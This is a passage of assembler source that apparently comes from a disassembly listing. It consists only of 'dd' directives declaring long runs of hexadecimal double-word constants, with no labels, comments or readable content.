9A8F1A2Fh, 858CDEAAh, 0F1C06620h dd 434D8BAh, 0BF1053Fh, 1FD0A015h, 0BDA3C217h, 8AB0E8A6h dd 2C09C4EAh, 753AEE89h, 0B602E8B7h, 5FCF7592h, 44618440h dd 51047395h, 0E318C9h, 0F960C5F3h, 0D2219818h, 8CFC0095h dd 912AA292h, 0F30E0318h, 602D4D54h, 3288A466h, 5386EBFh dd 0E43DAA87h, 0A32554BCh, 1625D4E8h, 73A06ABDh, 5415ADF0h dd 0AE809891h, 0AC434CEEh, 0AD09B712h, 0B15BB8F3h, 0D19C4114h dd 1E10009Fh, 0C82C0C60h, 1D085D95h, 4C183AE9h, 179DEE19h dd 0B89A193Eh, 8CCEECE0h, 0CF56C21Eh, 0C879A5h, 0FC8DC437h dd 850BEE78h, 5CB1D91Eh, 94AD7300h, 0E048F610h, 0AA27E148h dd 5EF87230h, 0E104F6C0h, 4420DDFFh, 0D9342597h, 0B264F0EDh dd 5944F760h, 0BBA4200h, 51E757B8h, 6873973Dh, 778770h dd 807C0A92h, 0B0D72DA4h, 0D86E672Dh, 0E39A5A8Ch, 9F3B8460h dd 650828BBh, 0E792A425h, 0A7441FD4h, 0C6C0CC54h, 1524794h dd 0F7678705h, 6B15BBC3h, 8612209Ch, 46565CB4h, 0C1800791h dd 9E2437B0h, 9FC4F812h, 70736B80h, 39AFB43h, 6ED61D46h dd 44A8B88Eh, 0A32C547Dh, 5825BA98h, 79BCB938h, 259D1894h dd 0D0D4D62Ch, 8E52D760h, 51900072h, 1E24F971h, 65052D0Ah dd 263431F2h, 6E38D481h, 0BC0FBF04h, 7BA20B3Fh, 29867048h dd 68ABB624h, 57A92509h, 14D32C19h, 0ADD1DC81h, 3AFD2800h dd 2720109Dh, 0C5F24BF9h, 407AEEF4h, 22731A00h, 23A61293h dd 53180500h, 6E50EF4Ch, 51E7C31h, 0A20FCF82h, 71F88829h dd 609DEAF6h, 12A80D00h, 0B8A0BCB7h, 0F3BD275Ch, 229258B4h dd 7E14B409h, 7448DCBDh, 8304B946h, 822FDAE6h, 0D45A9789h dd 0F49F5139h, 71551C17h, 4F1D2C31h, 9E8B2E4h, 45010217h dd 0BE4A50D2h, 0BC007CE2h, 79BFE81Eh, 0B601E694h, 73CEB032h dd 0E22AED0Fh, 2C245Ch, 88D014h, 3ADEFBE8h, 4F80C5C8h dd 0E180250Ah, 0F082E2DCh, 1E0796C3h, 30AA3C14h, 834B17B4h dd 978BE313h, 1D0428A3h, 0E1B41A19h, 84743104h, 953A4040h dd 16C108E8h, 307F594Fh, 0EC92A1F9h, 0C4B544h, 16C8FE32h dd 3DFBEB83h, 9EF8700h, 96B39B6Eh, 4662168Ah, 0C068B80Ch dd 0C8044F17h, 68CE6476h, 0DA808CA4h, 0AB993805h, 680EBD2Fh dd 8634E718h, 97BC7859h, 23D0E87Bh, 91C73DC3h, 8D743200h dd 184D2AFEh, 0E0C8A24Bh, 7134173Bh, 0C190E8AFh, 0AE493E27h dd 9650B22Ah, 0A222D8F8h, 0C7A43B16h, 20C02CECh, 0D748110Bh dd 0AB005DFAh, 0F29484F7h, 0F60E798Dh, 6D8E8D0h, 0A22071DBh dd 9E4B4923h, 3B000C8h, 76C63B1Eh, 8BC0CB98h, 1C0099E1h dd 474C8529h, 25911D66h, 745E2180h, 0DD28E683h, 6B02C406h dd 8C90F4ADh, 0EF4B8A2Ch, 0A6B840F9h, 8B268402h, 442EDBF4h dd 5CED9D24h, 0A03ED7E3h, 737B11Ch, 0E7A91A6Fh, 58D679EFh dd 7090532Fh, 5427C398h, 1C86452h, 0C4B8A62Ch, 2B5C771Ch dd 0E64F088Bh, 0E91DE084h, 2448903Ah, 84208C3Dh, 0AB243316h dd 0E9802C28h, 0C838CE2Eh, 27B9E0AAh, 776F98FFh, 0DCFBC119h dd 0B32AEE10h, 1800AE90h, 5C079857h, 6D1092D6h, 5227A5A8h dd 0E640245Eh, 463CDC9h, 3223BCA9h, 0A2DCB838h, 0B7572995h dd 5D80047Ch, 0A2E4BC57h, 8F92B8Fh, 4818CC79h, 610962F8h dd 71C6FD7Ah, 1C762764h, 4AC602DEh, 41B0B22Ch, 7EFC187Fh dd 0B45995BBh, 465CBC6Ah, 0D40B05A9h, 57AB92DCh, 0E8B0BD34h dd 2E2513C1h, 1E9CA0F1h, 99E00E28h, 0A19D991Fh, 0DE3854E5h dd 7AFE0200h, 7C22BB4Ch, 259D0275h, 7D0865ACh, 2BABE601h dd 4A73AC48h, 0C1BC84B0h, 2BA6F920h, 0D01E3020h, 25089846h dd 9471D9A2h, 6818BBD9h, 6EE0AB02h, 416185F3h, 0B12AFBC8h dd 643E2A34h, 0FF008C7Dh, 5C692DB2h, 97ECF41Eh, 0A51C2098h dd 0B4A17203h, 2621939h, 0A0ADF739h, 6655E57Eh, 3F170258h dd 0DCB6D573h, 317080D5h, 9577102Ah, 94E4D865h, 66053560h dd 0E4E82060h, 5FBDB71Fh, 9E28C042h, 0A45EE87Dh, 3F00986Eh dd 0FAE7D4FFh, 0B901571Eh, 71EBE81Dh, 0B32ADF27h, 0CC047C54h dd 0A973C725h, 98ECA485h, 20CEAB25h, 59266D1Eh, 0BE58CEAFh dd 374EDC1Ch, 57D5082h, 8400AA4Eh, 71D7A20Fh, 4607056Bh dd 2E2910D9h, 4942330h, 0B95F3E19h, 8C91AC80h, 21490E04h dd 6CB8F19Bh, 8858B2D2h, 0C82B47E8h, 20BAC989h, 3FC16D9Ch dd 201D00B1h, 63ADB530h, 6704475Ch, 107CFD1Ah, 0AF3480AAh dd 1712F6B9h, 0B452B8B1h, 0B223C03Ah, 5080C21Fh, 0CC69DF13h dd 53480Eh, 0D610C809h, 6D959C94h, 94442CCh, 0E0DCFCC8h dd 0E71CCDBFh, 0B8F7E3F9h, 1F3E9802h, 5CA818ABh, 0B906870h dd 6CF06DACh, 6D6F812Dh, 595E098h, 8B002247h, 0E2B97318h dd 6092F915h, 0B7A3C0CDh, 0FCAAD41Ah, 54B77Dh, 0F2FA134Ah dd 0FB09C3D6h, 18A421B6h, 250E71B0h, 74C68BC5h, 0A510849Ch dd 417B7E20h, 9B0044B1h, 654CE2F7h, 0D21F1E72h, 0B89C123h dd 2C1E1920h, 7F420424h, 48B8991Ch, 1CD19E25h, 821897F1h dd 0B7E4E500h, 6E750A86h, 0BE197A1Eh, 51CA0394h, 0BCB53B46h dd 8CC9BCB4h, 91299000h, 183ACA05h, 7CE7003Fh, 812CB89Fh dd 57121412h, 7CE7D248h, 0A870BD4Bh, 4A7600B5h, 4241476Fh dd 100E6881h, 8B28AF12h, 0A3987888h, 0F9E88038h, 8B1813AAh dd 0BCC4FDBDh, 9D660547h, 0BE4B4D34h, 5B00506Fh, 658C7E6Ch dd 23807DACh, 363D1221h, 0BC94BDE5h, 0CCCD1744h, 19CF320h dd 85402DE4h, 43E07762h, 5FF30324h, 1F7555CEh, 1E587400h dd 5E15D4E4h, 0E8D897A6h, 40E8840h, 0A8401271h, 376C00A1h dd 0FD1601Eh, 1CBC2743h, 2887B780h, 0EF0609DEh, 0A434B0CEh dd 903F4FE9h, 5660616Ch, 0BDA37302h, 5D0E390Ch, 450130C4h dd 5BB218FCh, 3A6AC88Eh, 0C423ECh, 14CEEDD6h, 0AC1ADA79h dd 5548B1A8h, 6D750C9Ah, 6738C048h, 2A1C8CD0h, 167906Dh dd 0D2A62960h, 2BA42D2Eh, 76A0D4A6h, 3D003328h, 0ECE73B4Fh dd 102770F0h, 7196113Eh, 54F36809h, 4C9455A9h, 30CF215Fh dd 61C09388h, 9C6085Ah, 0D1CEF995h, 0B8C2E8A5h, 8B17800Ch dd 0AD0A2Bh, 0F80F88DBh dd 0CE4E3B31h, 70DB3EE9h, 58DD2780h, 5BF4D46Dh, 5E465313h dd 77CF8A2h, 0A6C59A73h, 43E8C06Ah, 0D71C7BE3h, 0EE8020ABh dd 888322C4h, 0B418977Ah, 2622191Dh, 0C4A243D5h, 0C101215Dh dd 1B77133h, 0C86D1E6Dh, 8D10B05Bh, 91903797h, 591A80CEh dd 32162515h, 506083D1h, 863400FDh, 1972CEF2h, 0F91DA220h dd 84B62B9Eh, 0BB31D702h, 0B87E3513h, 0ECE0C206h, 6CCF9D28h dd 603BAF40h, 5C4F27B4h, 2781A474h, 0BD0BC0FFh, 0AA9CC56Ah dd 0B223446Eh, 7D423000h, 2F73B24h, 2011AB40h, 0B8CA8E29h dd 5262B856h, 0DCE855D0h, 800CA74Bh, 29D102F1h, 968C3F6Ch dd 0C2509B4Eh, 5F7FFFC8h, 0CB3FBC80h, 0A95B2CA6h, 8945C003h dd 805062C1h, 8E5DEE4Dh, 9DF90074h, 24D927C7h, 8C4C89Bh dd 4004A7DDh, 50B93836h, 4141A930h, 821F0F1Eh, 8E56B720h dd 20ACDC92h, 0CFE5EF55h, 0F2A1004h, 68C22B01h, 7CA1D5BDh dd 1CA4B53Eh, 7E4F050Dh, 8035C109h, 60F7B994h, 46585D09h dd 3EF4D0A5h, 3301B3A8h, 0ED143AC3h, 87D88FB4h, 0BE6801E9h dd 0D1F03941h, 0F818C090h, 0D8962DE1h, 6A3B4206h, 2A1CABDh dd 211EA9A1h, 985EC1F6h, 0BFA34308h, 5C662C27h, 0C46EA025h dd 17B73074h, 0E11F9629h, 1985BF0Bh, 9C084076h, 0B294A190h dd 3C441A0h, 38E1CF5Ah, 5C8C8D14h, 3AD92170h, 0D00D5424h dd 40B029CDh, 0F30B39F8h, 805606DFh, 0CD4CE544h, 0E175658h dd 5C0406FDh, 2401D36Eh, 8097285Dh, 20C450B0h, 2CA7623Dh dd 0A708F11Eh, 0A3103C54h, 3FB0BE0Fh, 105F71FAh, 7E5668h dd 1F73176h, 26F3122Dh, 7CA29227h, 0A724114h, 6C602EB8h dd 0B173A277h, 19AED908h, 77DFF4DCh, 197D09B0h, 0B476D842h dd 56589044h, 7E07CB79h, 0C96C1AC3h, 0FAB0FFD0h, 0E00E0961h dd 64717512h, 99C81E80h, 0DEA9F510h, 92CC0A40h, 0A6DD13A8h dd 572CE258h, 0D345A090h, 0CE489D00h, 3438DD69h, 48924919h dd 1E1DE105h, 0A00EAB58h, 0E4889760h, 0EA74003Ah, 26C255BCh dd 465A1E61h, 18F08891h, 0A14280FBh, 0D5EB0087h, 2C7B0A58h dd 3F7775B4h, 0BD0BF1F8h, 264DB42h, 5504A910h, 0BD173467h dd 0DB0E8F6h, 0BD045D27h, 0B3F697B6h, 0A833BC80h, 4B94E2Dh dd 94E52CA4h, 1084EA64h, 27C7AAAh, 0E7BEF8E4h, 5034E0D4h dd 0CC6EBDA4h, 377E2004h, 0C5AAB5AEh, 0F83CB834h, 0F0708C94h dd 5CCCE450h, 5830599Dh, 98BEB7h, 7B92D82Dh, 65940324h dd 62903ACAh, 0FB00C64Fh, 0E1699F06h, 3FB89883h, 1C04F11Dh dd 0FD217277h, 5031B8C8h, 4C763840h, 0CF0029F4h, 3582673Eh dd 0BE58D850h, 40380C31h, 5D29ACh, 8BC63EECh, 7BDE088Eh dd 2CB8E004h, 6CB86C44h, 714EC0A3h, 0FDB894BDh, 8777F407h dd 3951BB06h, 1D109768h, 0E5954AF9h, 38682440h, 9B384F77h dd 0DA9E87F4h, 0A5472750h, 991B2D66h, 950441h, 9C4D33C3h dd 6C512D0Ch, 1BDB542h, 2E88452Ch, 9F9A2C3Ch, 6C7BE442h dd 7A05B073h, 512318D9h, 3E258881h, 0C5A3752Fh, 2A2BE14h dd 2FA45897h, 0E85BBD1Fh, 93EF658h, 7D2D1E30h, 4523B09h dd 6967BA1Dh, 534190DFh, 0C411984Ch, 1DE889D9h, 0D9732CE4h dd 0AE3D08C4h, 0A2384005h, 0C7AF1CD0h, 0EC8295B9h, 5C099818h dd 0FC7BEB04h, 80F3FD51h, 7120E44h, 6F889D35h, 0C0D85B26h dd 70ACDB9Fh, 200B3097h, 0FCB512F1h, 6AECF48h, 1B8087EBh dd 0A102492h, 7C80115Ah, 0EBE4EC1Eh, 88288E7Eh, 40C1C0BBh dd 15128572h, 23FA68D0h, 48D8AD9Ch, 7F1E29C9h, 0C8000D41h dd 9F60A861h, 92370164h, 16952149h, 44C82B1Bh, 3C050486h dd 875BE409h, 0BAD7F0ACh, 7D003F6Ch, 0A2187E67h, 25984685h dd 0D4D46623h, 167112DCh, 0D38D040h, 9EF21810h, 5500E1E8h dd 5B9B363Eh, 164CC81Dh, 0E8899D29h, 1B5D8060h, 0E23C39h dd 8BFD9C36h, 81DFF8D5h, 0B9410E04h, 0BCF8090Bh, 0B2B0C84Eh dd 0A7E6E800h, 99F7E3EFh, 1C4904CFh, 0AA218363h, 0FF06E832h dd 43CF464Dh, 928D8969h, 9568DF07h, 0E0832749h, 82B12F85h dd 0D42A43FFh, 0A7F7E90Bh, 0A20FB312h, 7DB12785h, 0BDEE35Ch dd 0D62F36C2h, 0DE0D815Fh, 18C1C75Fh, 0DABF0F10h, 2B27B5F8h dd 0CE77DB1h, 0F7601444h, 13D88B0Fh, 4E300DB7h, 34DBFB4Eh dd 737D1380h, 891E9F9Dh, 9A29C1B5h, 0D22650Dh, 0B26EAB3Eh dd 5AA0DA00h, 9D4E5BAFh, 8D5F8C2Ah, 1B01563Ch, 0DE600529h dd 0EF1BEEC6h, 0DACDDDDEh, 6BD222C0h, 38A307E5h, 66BD8960h dd 6177500Fh, 0BF044607h, 7DBB9664h, 6F21D506h, 57605004h dd 0C74007E9h, 345203D9h, 595B9874h, 1B80C4FCh, 87DC2E6Ch dd 1021CA00h, 0BA936933h, 0FB1F0C3Bh, 346ABE18h, 8BD245Bh dd 0FBF27AB9h, 8A75398Bh, 0DF4B4B82h, 52043AB7h, 3F834A97h dd 0E9FA16FEh, 0F960EA0Ch, 0E01F03FFh, 810F1A50h, 0D40E1702h dd 7740535Ah, 777B5D10h, 868A4CE1h, 0E2A09200h, 0B7D1BEBh dd 17FD0005h, 0DCFBA3EEh, 8969DBC2h, 5BF3DD43h, 3758FB09h dd 0F9DD802Ah, 0B630F22Dh, 0B4249C12h, 3165F604h, 0D56B8D08h dd 2105A937h, 8608C038h, 0BADA6589h, 0E3007A95h, 0BD995FFh dd 0D0589B4Eh, 615E9A80h, 0E7B84BBDh, 667FDD7Ch, 0D75EE8ECh dd 6203EECh, 7AAA034Ah, 601C1D32h, 0AD88A024h, 8AB2419h dd 61070D2Dh, 0B1EA835Fh, 846B0349h, 0A9455E53h, 8AB82Eh dd 78CE0FB2h, 0E1B5097Eh, 0C479036Eh, 0E90614E5h, 5BBDD93Ch dd 0B39D7013h, 0ABC89A01h, 0C3050A0h, 0E6446120h, 0E8C11E01h dd 0F0EB410h, 3C04CF8h, 4E98358h, 0EBE7750Dh, 4DE3636h dd 16EE3964h, 29501B33h, 18214028h, 113CD58h, 0C01B0957h dd 0E0ADC08Bh, 8B9627E0h, 98D2A2DFh, 6B850F09h, 0B7FD4AC2h dd 381480EBh, 0E0DA5A7Dh, 81E94200h, 0CF9123E7h, 6908916Eh dd 0B766F0DDh, 0F67041FBh, 20E99008h, 81903011h, 0ED5B2F43h dd 0FAA8D0h, 3CA06C15h, 5C2DABB3h, 0EB480275h, 37510E3h dd 1AD7AD5Eh, 0DD6C23B5h, 83E0D06Dh, 219A1h, 3D88CD41h dd 10498D29h, 1C9C781h, 0AC045BC3h, 0DA16808Bh, 90CAF4h dd 0A47804D5h, 5D76E8F3h, 42285059h, 3116E27Bh, 4A55F92Bh dd 0B855489Fh, 0F5008C17h, 9F97D91h, 0B913A595h, 140508AFh dd 14AA320h, 0A00910AEh, 2CF8BF49h, 66993B02h, 0F5754FBBh dd 94017444h, 7C96F406h, 226582B0h, 1085A760h, 0EC4E0F35h dd 0F0008C1Bh, 0F86C4D94h, 3706102Eh, 1218D0Fh, 7FC48689h dd 0ABB0D2E7h, 9F161B7Dh, 280862E8h, 0BF668004h, 958B9BF3h dd 0C02B0530h, 0A004C283h, 8020E1ADh, 3BEB5089h, 9F3023EEh dd 92D86F0h, 7C8091A0h, 3D1778B0h, 0D27A51C5h, 2DC4D730h dd 4B1A8657h, 0F7F880DDh, 516D34CAh, 0D44D6CE0h, 31BD142Bh dd 0E595CF05h, 488C14B8h, 511377Fh, 0A99D0C1Ah, 1D960C26h dd 2CFC8A50h, 61DF098Ch, 9D097E38h, 32935F3h, 4CCE7BBFh dd 0FA1A169h, 0D0152E63h, 0EC11448Eh, 3080E056h, 0BF9282CFh dd 0DAF9F719h, 0D616DC77h, 0CFB15434h, 16E21DA3h, 5D305D30h dd 25295E2Bh, 222109A1h, 8105B494h, 0D9DFA9F7h, 0B841F81h dd 804649A9h, 0A525EFB5h, 579F8D15h, 20604991h, 30A01D6Ah dd 0AEA161CBh, 7021231h, 0ED55096Ch, 828FE48Fh, 3A6225FCh dd 2EE08BEDh, 2609230Eh, 9CCFC9BDh, 0FD5F38C6h, 24BBB8D8h dd 102789CFh, 1DC95816h, 70BB121Dh, 3D28BB88h, 0E9878ADEh dd 11FFF309h, 3425BD31h dd 0C1248B00h, 0DE0F5F60h, 9D89A14Ch, 0BC752C95h, 0AB3DF447h dd 0C1A2E07Bh, 965FC7Ch, 89FA0B1Ah, 8CE27E23h, 904C7938h dd 0B4A89900h, 261BDE69h, 4F431D07h, 8025310Fh, 1FF4F16h dd 6C28BF24h, 0FD90D9A9h, 14583686h, 608FE5BBh, 0CF1AB9A4h dd 13C24A8Ah, 8A9F5862h, 59BD9DF8h, 1817D98Ah, 1335E2B1h dd 60FE8B2Dh, 2A278F7Ch, 83FCCF05h, 0DBBF05C0h, 0E1D480EEh dd 75092A2Dh, 190E4E85h, 7EDEBC00h, 0E95B6AA2h, 6A4B8B0h dd 713A5FCCh, 0DF685267h, 910BE248h, 85941108h, 88010D9Dh dd 8D1707FDh, 20AF1109h, 245DD3BCh, 5ED49003h, 0B886ADD1h dd 0CD3200DEh, 0B5F1D6FBh, 5D9FF7BFh, 0AB487D39h, 2A789F33h dd 791E483Ah, 25293510h, 6A19908Bh, 0D98A3002h, 98A0CECEh dd 8B502F0Ah, 0E2A4B3FAh, 46F1DDC9h, 87E9DC82h, 96F9550Ch dd 0F59E0242h, 0B743B7CFh, 0D894C811h, 6A3300FBh, 6BBE15Ah dd 0EFB3BC48h, 9D0F6D0h, 6DD4B708h, 89F7DC03h, 0A98381CCh dd 6FE84592h, 9AD10126h, 0F5DFAF9Eh, 2ABF5020h, 0BB9E7509h dd 5E17704Bh, 29582B00h, 31D21AE2h, 30C127B5h, 0A7D76ED7h dd 601A4408h, 1957E6h, 0A4E3E228h, 96D9D29h, 0C10E0C91h dd 0FEADDD0Ah, 0FCA9AC05h, 99BEE3Fh, 0A4E067F6h, 0E0A40691h dd 0C1D495DFh, 40A91E4Ch, 7AFB6A17h, 3BE237B6h, 72F18CC1h dd 912476C9h, 0D42E811h, 15E9011Bh, 3E953201h, 5B0B887h dd 70E6B6B7h, 340388FAh, 0E73F031Eh, 0C2A45900h, 3DEB0C53h dd 5139B61Dh, 5271E493h, 6383AE48h, 563B1EE9h, 0C8B60D5Fh dd 3FE92AE8h, 7ABBB0Eh, 200B162Bh, 93A107Fh, 0A62C007Bh dd 4369039Eh, 0CA00E63Bh, 0DF06C15Ah, 77DA2582h, 4E83221h dd 54E074B4h, 20B1E2F7h, 0F832578Bh, 0D7900DCh, 7E68E4E6h dd 0B6B65A62h, 672FA038h, 23F8962Bh, 0E287B7D1h, 0C69C995h dd 2CEF23E9h, 1508DCD8h, 0FC600009h, 9BBE1BB9h, 14132D5Ch dd 2AB107C0h, 12D6AB65h, 58CC604h, 0E302B354h, 0D03B0BB7h dd 76B1908Eh, 0E9D9BF0Ah, 0DF970851h, 0B23B36FEh, 5518C125h dd 3984FD10h, 339F5689h, 1AA5945Bh, 0C91FE2Eh, 95433299h dd 82795FA2h, 0AEA67C00h, 75BD3E25h, 516600A9h, 84BF0C27h dd 3706CE54h, 1095B501h, 8D13E139h, 310F54D9h, 2A44616Ah dd 6A2724A8h, 0C0514DD5h, 407C46A7h, 51E21612h, 0CF1BD04h dd 930FF2ABh, 0F0B5B3BFh, 6FE714h, 0E63DC716h, 61B9B054h dd 50B30840h, 0EFCA964h, 821CBB66h, 3FDAABB2h, 0B9DA4DC0h dd 0D7A3E10Bh, 0F0126AAh, 0AB3E0887h, 5B575371h, 0B370542Dh dd 0FC777A0Ch, 0D5C2C00Ah, 0C390D22Bh, 33ADF81Eh, 0D056D159h dd 0F425D33Dh, 2D1CA057h, 0C829140h, 8EB2A3D7h, 0F94AD432h dd 894B22BEh, 11BBFC1h, 14A7880Dh, 0C08CED7Fh, 229B7CAFh dd 0DAC0EE02h, 0FF8BFC7Eh, 62F55C42h, 0A8295999h, 0A8D39601h dd 19656985h, 6E948537h, 210910CAh, 0C239E84Ch, 0C103180Dh dd 58A5E308h, 56581995h, 5B17F5B6h, 2604D86Fh, 820B02CBh dd 62E0FACDh, 0D19630FDh, 952F9846h, 1CD6CC5Eh, 759D035Eh dd 12432D1h, 69751A63h, 0DADC21EDh, 25789F7Bh, 20422661h dd 0CA5D6118h, 0A3F8E7EFh, 2C004032h, 319F3A35h, 98109D4Ah dd 79BD105Bh, 0E1FF1214h, 0C0119AAEh, 0EA9F4D99h, 956902DDh dd 18619D2Bh, 890F460Bh, 5D83CCA5h, 1D7AE8BFh, 1122295h dd 0DC20D504h, 6DE5DA74h, 8D86C433h, 0FA13FC50h, 366F60h dd 0C5BFD3A4h, 340A6573h, 0B25CCDD1h, 0BCF28042h, 0A0C10D4h dd 0D98C6636h, 271D089Dh, 4E18004h, 0B09FA6AAh, 0A8FFF68Ch dd 1EDA7F35h, 0EC05FD93h, 20F50809h, 8EC90A0Ah, 55013E09h dd 0AAE003EDh, 0B1C96D4h, 0E3A968D5h, 7758202h, 9C8DEE0Bh dd 2325D445h, 0A722008Ch, 4D8D8533h, 8439AB28h, 0D19C01C5h dd 77500211h, 12400FFEh, 73F253C8h, 5F5CFAE6h, 1523AD57h dd 48FE25BDh, 0CD9C6995h, 3597C06Eh, 0F2B3850Fh, 0BD9EEF04h dd 60A251A8h, 0BF0946FFh, 4B71659h, 0E5A2F2BFh, 0BA7F7100h dd 88535E4Fh, 6E652895h, 6312D880h, 5993C66h, 4C271101h dd 43D9FB8Bh, 4ADE04AFh, 0C681C9EEh, 8A14C69Bh, 80EE0CFEh dd 57A1CB15h, 27590034h, 0C249FC84h, 0F8D009C6h, 21515B52h dd 8F2057A5h, 857D45B3h, 0AE5FA001h, 0F70ADBFCh, 9060352Eh dd 88E9F553h, 0BB8F3994h, 60E3F2D9h, 893CCC4Ah, 2EF19D2Eh dd 0A13F66A5h, 0E81115AAh, 82201009h, 0F96A0210h, 533AB19Ch dd 0F917840h, 26095B80h, 0A58F49B5h, 0CCB03E66h, 0ACB9B30Bh dd 3578021Bh, 0B1DF0E26h, 22AB55A2h, 0D79A9666h, 7A5DAC80h dd 713D8E4Eh, 10E91193h, 5B1A100h, 833C903Bh, 0B5AB40Eh dd 9B20A148h, 172E2846h, 7E6EEA02h, 15A8A00h, 50DC784Ch dd 2A17BB75h, 0CF856FC7h, 94FBDE85h, 0CFD7A8B3h, 4029892Bh dd 986883h, 0BFC9B7C4h, 3262DB6Dh, 399D78BFh, 36023F67h dd 28D19D33h, 0D35A6256h, 0C92C51C0h, 5D860BDh, 0BF902240h dd 96008579h, 1726C598h, 0A4A300B1h, 0F2F669FCh, 0FA78BB6Bh dd 5B083900h, 331BBF50h, 9010253Bh, 0D53757h, 397A66F9h dd 931379BAh, 1D09AE8Ah, 95285861h, 0E7FFA43Ah, 6B1DE0B9h dd 0D902D1FEh, 8A46F25h, 7A984261h, 8E16958Ah, 315159BEh dd 0A6BA84C3h, 0F869E379h, 35A3CB0Dh, 81B27E9h, 18406AFh dd 0AFD42595h, 9CEB3FA8h, 0DB04FE92h, 26ACC1CBh, 551AA4A2h dd 0D5F83ED1h, 863E00CCh, 2915B93Ch, 0C9A5F865h, 7C037288h dd 39001746h, 0F374A93h, 408A068Fh, 0BC24CD64h, 0D90FE776h dd 0DBE6E74Ah, 5284E183h, 0DB4B15A3h, 0E97185DBh, 0C0283300h dd 12A34D4h, 3F98405Eh, 2A92A0E2h, 0DB819F34h, 752B05DDh dd 936F1Ch, 0D540D147h, 0AE3FF4h, 6CBF7C9Ch, 96704290h dd 502BB31Dh, 402EDC2Fh, 0A633F7CEh, 1458EB4Ch, 109F8641h dd 94A7097Dh, 0A9C3C495h, 3E1FD405h, 820F9607h, 6ACFED60h dd 14BA9561h, 7D61D1CDh, 5285A89Eh, 8CCC7ED3h, 4900A361h dd 1DA23BBFh, 985F9167h, 20C52039h, 1ACD5B4Ah, 6C04F17Bh dd 0F7345FD4h, 3304A3A3h, 0A815ADBDh, 0DABA92D2h, 60B8CE51h dd 0DF142CB1h, 902512C0h, 30F1A166h, 5F955AAh, 0E85FE8F3h dd 0C6255FE8h, 40E5FBE6h, 0CEECBFB3h, 0D8BC5FE6h, 3C30FE97h dd 3FBA4Fh, 0CB7D5B54h, 0BFED3A33h, 70B4F4ACh, 6C49E00Bh dd 0D9B724DFh, 1B75080Eh, 50019617h, 501D0BA1h, 294C2923h dd 0AF8D8107h, 7F72E054h, 0AD1EBB96h, 7D258BBFh, 1F29E2B0h dd 95FE1697h, 7E2756h, 6AD6022Ch, 0B7DBA78Fh, 745039Ah dd 7A00172Ah, 7F0613AEh, 4700F565h, 4FEF6A0Bh, 85BD3F31h dd 342FCECAh, 0B6AE3343h, 0C69EB2B9h, 9F4B00E7h, 0C00B5218h dd 9010291h, 907665A7h, 4D40830Fh, 0C9058531h, 2D7A5B8Fh dd 0E19DD3A0h, 8493889Bh, 16A97C64h, 3630A4Eh, 0D15772CCh dd 2D77F835h, 8294F030h, 5E812002h, 35A909EBh, 2BE2859h dd 0C756E8E3h, 51245673h, 56601148h, 5C438AE1h, 61EFB158h dd 0D14342Bh, 40C1F9FDh, 0D5C1DB67h, 5495C670h, 0EB01DCD6h dd 72F3C6F7h, 60896A97h, 590A01h, 6671E9h, 2D70FEA8h, 853E8CC3h dd 0F4AC8ED9h, 0B58921FFh, 0B198224Dh, 9CEFA8C1h, 0CD094Ah dd 0AC05AD2Eh, 898803D9h, 14E9791Fh, 59071B0Eh, 7D2B4091h dd 1CCACD9Bh, 40BDEAFFh, 0BC82D4E6h, 1A270AC4h, 0F584490h dd 2B097EB1h dd 596F1000h, 200E5129h, 4450B319h, 0ABC29052h, 4B16CB05h dd 6BAAACh, 3A0A371Ah, 5DC2554h, 930283A2h, 2CC120E8h dd 0FBFAC234h, 25D63C50h, 0A05B0440h, 4AACBCAEh, 436EBB52h dd 5B59701h, 0A58B4967h, 31A7775Ch, 0AF50C4C0h, 812E36E2h dd 0FB8700ABh, 0BF905F46h, 94E27404h, 6FE05038h, 0B812B60Fh dd 30F6612Fh, 102AAEC0h, 72A00282h, 0BB5D9F36h, 0ED17D02Ah dd 57C6D45Ah, 7B58BEFBh, 0F36F8E2h, 0C4A54AE9h, 48E329E9h dd 825209A4h, 9154DD0h, 92EFEDE3h, 7356251Dh, 0ECF44E9h dd 7FF99F72h, 68894B80h, 0AB01F5EDh, 0C2B3C5FFh, 56FE8B98h dd 65536B84h, 17A43A70h, 607A235h, 9326459Fh, 0C075D158h dd 63C9AC73h, 86470267h, 0C3B808BBh, 7C519056h, 0AC963015h dd 0D47438D5h, 0C317B802h, 6048F9FEh, 7172F3h, 0F4579B2Fh dd 1026AB1h, 0E4C61F6h, 12F5849Ch, 8B609001h, 0F5BD2ADAh dd 5D02DD0Fh, 7AB1DC60h, 0A500A42Ah, 0BC640CBEh, 2F0BAC6h dd 5ACB8BDBh, 73E65061h, 8E693Dh, 0F91E7A8Dh, 4BF4228h dd 3DFC8A54h, 8507825Bh, 0D99B2872h, 8E7A2F28h, 378D8B88h dd 62A91041h, 61000A69h, 950DBCE9h, 0C649C496h, 6BEB4A95h dd 31A1169Dh, 0BB823916h, 49066E9h, 3A13B7DDh, 0D2A1AC4Dh dd 0D752604h, 0FA8B9000h, 0DAE7B750h, 51A0BCCCh, 9C95090Dh dd 0D4529468h, 88FDFC01h, 0AB50184Dh, 95E8DBD4h, 5A6B8B20h dd 86009CF8h, 0BB1EAC72h, 2172320h, 0BD096C84h, 5B04080Dh dd 0BF8078ADh, 5E3AC22Eh, 77538995h, 0EC404DCFh, 730B099Eh dd 2D947111h, 929A6BF1h, 0BBE68662h, 86D5D328h, 6BEEFF4Ah dd 37180018h, 39BEC817h, 562E2E46h, 11850901h, 3F4A4655h dd 15017407h, 0BCE37A70h, 93622BD7h, 92022936h, 0B00729B9h dd 0E63CB300h, 43E85E70h, 455CFE93h, 60EBD180h, 7A079A00h dd 53DC3AA0h, 42C5B66h, 0B13F193h, 6C90FD5Fh, 0E400BDDBh dd 9CEE46F9h, 5AA25EBCh, 5F636250h, 0DF90B556h, 43A5E888h dd 0DE1C25B3h, 6DBEB464h, 0CB184616h, 942DA54Ch, 0B1DE9281h dd 0F95641A4h, 0A6A80426h, 60205326h, 0E380FE38h, 0A4018200h dd 0CB96FDAAh, 1EF30092h, 63B314B0h, 5B4AA391h, 1DEA8C2h dd 89F7B160h, 1217BD72h, 0BBEE10CEh, 0A6341722h, 0C975063Dh dd 81097D28h, 5831CCE7h, 1306DCAAh, 5F3A20E9h, 16076B35h dd 0B97AE6ABh, 41753A60h, 0B119047Eh, 0AD5004EDh, 0B21622B0h dd 28800999h, 0A9C453E9h, 380C7520h, 13A59501h, 29C2307Dh dd 4552585h, 3245BB6Ch, 3D3D1133h, 55036A00h, 0BF692764h dd 0CCD11B00h, 464DF6FAh, 2AA55083h, 6792B7FEh, 5BB7A05h dd 915E8B1h, 0B45BDBC9h, 34196708h, 6AC91332h, 